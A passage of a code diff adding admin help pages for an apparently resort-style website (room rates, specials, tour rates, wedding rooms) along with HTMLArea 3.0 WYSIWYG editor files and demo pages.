+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the Cateogry,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Room Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Room Rates</h4>
+
+<P>
+This page lists the existing Room Rates from the database.
+</p>
+<p>
+<b>Add A New Room Rate</b>
+</p>
+<p>This link will allow you to add new Room Rate</p>
+<p>
+<b>List Room Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Room Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Room Rate</h4>
+<P>
+This page is for editing and modifying an existing Room Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Room Rates" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Room Rate.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Room Rate. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Room Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Room Rate</h4>
+<P>
+This page is for adding new Room Rates into the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Room Rate,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Specials Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Specials</h4>
+
+<P>
+This page lists the existing Specials from the database.
+</p>
+<p>
+<b>Add A New Special</b>
+</p>
+<p>This link will allow you to add new Special</p>
+<p>
+<b>List Specials</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Special</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Special</h4>
+<P>
+This page is for editing and modifying an existing Special in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Special,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Special</h4>
+<P>
+This page is for adding new Specials in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Special,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Change Text Help</H4>
+<hr>
+<h4 align="center">Home Page Section</h4>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will be displayed with the Photo on the Home Page.
+</p>
+
+
+<hr>
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Updatable Text,
+you can click "Update." This will update the information about each Item
+in the database.
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Tour Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Tour Rates</h4>
+
+<P>
+This page lists the existing Tour Rates from the database.
+</p>
+<p>
+<b>Add A New Tour Rate</b>
+</p>
+<p>This link will allow you to add new Tour Rates</p>
+<p>
+<b>List Tour Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Tour Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Tour Rate</h4>
+<P>
+This page is for editing and modifying an existing Tour Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Tour Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Tour Rate</h4>
+<P>
+This page is for adding new Tour Rates in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Wedding Rooms Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Wedding Rooms</h4>
+
+<P>
+This page lists the existing Wedding Rooms from the database.
+</p>
+<p>
+<b>Add A New Wedding Room</b>
+</p>
+<p>This link will allow you to add new Wedding Room</p>
+<p>
+<b>List Wedding Rooms</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Wedding Room</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Wedding Room</h4>
+<P>
+This page is for editing and modifying an existing Wedding Room in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Wedding Room,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Wedding Room</h4>
+<P>
+This page is for adding new Wedding Rooms in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<html>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<table>
+<TD align=center colspan=2><FONT SIZE=2 FACE="arial,helvetica"><B>HTML Tags</B></FONT><BR>
+ <FONT SIZE=2 FACE="arial,helvetica"><B><B>BOLD</B></B><BR><I><I>ITALIC</I></I><BR><CENTER>CENTER</CENTER><BR>
+ <FONT COLOR="RED"><FONT COLOR="RED">RED</FONT></FONT><BR><BIG><BIG>LARGER FONT SIZE</BIG></BIG>
+ <br><LI>Bullet
+ <br><A HREF="HTTP://www.PLACEYOURWEBURLHERE" TARGET="_BLANK"><A HREF="HTTP://www.gaslightmedia.com" TARGET="_BLANK">Hyperlink</A></A>
+ <br><A HREF="mailto:PLACEEMAILADDRESSHERE" TARGET="_BLANK"><A
+ HREF="mailto:info@gaslightmedia.com" TARGET="_BLANK">E-mail Address</A></A>
+ <BR>&nbsp; A non-breaking space
+ </td>
+</tr>
+</table>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="help/closewindow.gif" border=0></A></CENTER>
+</body>
+</html>
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/05/01 16:46:13 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ var dlg = window.open(url, "hadialog",
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ HTMLArea._addEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ HTMLArea._removeEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="lang/en.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+<script type="text/javascript" src="popupwin.js"></script>
+
+<!-- load the plugins -->
+<script type="text/javascript">
+ // WARNING: using this interface to load plugin
+ // will _NOT_ work if plugins do not have the language
+ // loaded by HTMLArea.
+
+ // In other words, this function generates SCRIPT tags
+ // that load the plugin and the language file, based on the
+ // global variable HTMLArea.I18N.lang (defined in the lang file,
+ // in our case "lang/en.js" loaded above).
+
+ // If this lang file is not found the plugin will fail to
+ // load correctly and nothing will work.
+
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+</script>
+
+<style type="text/css">
+@import url(htmlarea.css);
+
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin("TableOperations");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin("SpellChecker");
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003.</p>
+
+<p>Plugins:
+ <tt>TableOperations<tt> |
+ <tt>SpellChecker</tt>
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+ <h1>This is the fully loaded HTMLArea ;-)</h1>
+
+ <p>It loads all the plugins that have been developed so far.</p>
+
+ <table style="background-color: #99f; border: 1px dashed #08f; width:
+ 60%; border-collapse: collapse;" align="center">
+ <tr style="background-color: #fdd">
+ <td style="font-weight: bold; border: 1px solid #000;">Plugin</td>
+ <td style="font-weight: bold; border: 1px solid #000;">Sponsor</td>
+ </tr>
+
+ <tr>
+ <td style="font-family: monospace">TableOperations</td>
+ <td><a href="http://bloki.com">Zapatec, Inc.</a></td>
+ </tr>
+
+ <tr>
+ <td style="font-family: monospace">SpellChecker</td>
+ <td><a href="http://americanbible.org">Amerian Bible Society</a></td>
+ </tr>
+ </table>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="lang/en.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+<script type="text/javascript" src="popupwin.js"></script>
+
+<!-- load the SpellChecker plugin files -->
+<script type="text/javascript" src="plugins/SpellChecker/spell-checker.js"></script>
+<script type="text/javascript" src="plugins/SpellChecker/lang/en.js"></script>
+
+<style type="text/css">
+@import url(htmlarea.css);
+
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin("SpellChecker");
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003.</p>
+
+<p>Plugins:
+ <tt>SpellChecker</tt> (sponsored by <a
+ href="http://americanbible.org">American Bible Society</a>).
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>The <tt>SpellChecker</tt> plugin</h1>
+
+ <p>This file deminstrates the <tt>SpellChecker</tt> plugin of
+ HTMLArea. To inwoke the spell checkert you need to press the
+ <em>spell-check</em> buton in the toolbar.</p>
+
+ <p>The spell-checker uses a serverside script written in Perl. The
+ Perl script calls <a href="http://aspell.net">aspell</a> for any
+ word in the text and reports wordz that aren't found in the
+ dyctionari.</p>
+
+ <p>The document that yu are reading now <b>intentionaly</b> containes
+ some errorz, so that you have something to corect ;-)</p>
+
+ <p>Credits for the <tt>SpellChecker</tt> plugin go to:</p>
+
+ <ul>
+
+ <li><a href="http://aspell.net">Aspell</a> -- spell
+ checker</li>
+
+ <li>The <a href="http://perl.org">Perl</a> programming language</li>
+
+ <li><tt><a
+ href="http://cpan.org/modules/by-module/Text/Text-Aspell-0.02.readme">Text::Aspell</a></tt>
+ -- Perl interface to Aspell</li>
+
+ <li><a href="http://americanbible.org">American Bible Society</a> --
+ for sponsoring the <tt>SpellChecker</tt> plugin for
+ <tt>HTMLArea</tt></li>
+
+ <li><a href="http://students.infoiasi.ro/~mishoo/">Your humble servant</a> for
+ implementing it ;-)</li>
+
+ </ul>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="lang/en.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+<script type="text/javascript" src="popupwin.js"></script>
+
+<!-- load the TableOperations plugin files -->
+<script type="text/javascript" src="plugins/TableOperations/table-operations.js"></script>
+<script type="text/javascript" src="plugins/TableOperations/lang/en.js"></script>
+
+<style type="text/css">
+@import url(htmlarea.css);
+
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the TableOperations plugin with our editor
+ editor.registerPlugin("TableOperations");
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003.</p>
+
+<p>Page that demonstrates the additional features of the
+<tt>TableOperations</tt> plugin (sponsored by <a
+href="http://www.bloki.com">Zapatec Inc.</a>).</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>Plugin: <tt>TableOperations</tt></h1>
+
+<p>This page exemplifies the table operations toolbar, provided by the
+TableOperations plugin.</p>
+
+<p>Following there is a table.</p>
+
+<table border="1" style="border: 2px solid rgb(255, 0, 0); width: 80%; background-image: none; border-collapse: collapse; color: rgb(153, 102, 0); background-color: rgb(255, 255, 51);" align="center" cellspacing="2" cellpadding="1" summary="">
+ <caption>This <span style="font-weight: bold;">is</span> a table</caption>
+ <tbody>
+ <tr style="border-style: none; background-image: none; background-color: rgb(255, 255, 153);" char="." align="left" valign="middle"> <td>1.1</td> <td>1.2</td> <td>1.3</td> <td>1.4</td> </tr>
+ <tr> <td>2.1</td> <td style="border: 1px solid rgb(51, 51, 255); background-image: none; background-color: rgb(102, 255, 255); color: rgb(0, 0, 51);" char="." align="left" valign="middle">2.2</td> <td>2.3</td> <td>2.4</td> </tr>
+ <tr> <td>3.1</td> <td>3.2</td> <td style="border: 2px dashed rgb(51, 204, 102); background-image: none; background-color: rgb(102, 255, 153); color: rgb(0, 51, 0);" char="." align="left" valign="middle">3.3</td> <td>3.4</td> </tr>
+ <tr> <td style="background-color: rgb(255, 204, 51);">4.1</td> <td style="background-color: rgb(255, 204, 51);">4.2</td> <td style="background-color: rgb(255, 204, 51);">4.3</td> <td style="background-color: rgb(255, 204, 51);">4.4</td> </tr>
+ </tbody>
+</table>
+
+<p>Text after the table</p>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="lang/en.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+
+<style type="text/css">
+@import url(htmlarea.css);
+
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+
+ // comment the following two lines to see how customization works
+ editor.generate();
+ return false;
+
+ var cfg = editor.config; // this is the default configuration
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ },
+ context : 'table'
+ });
+
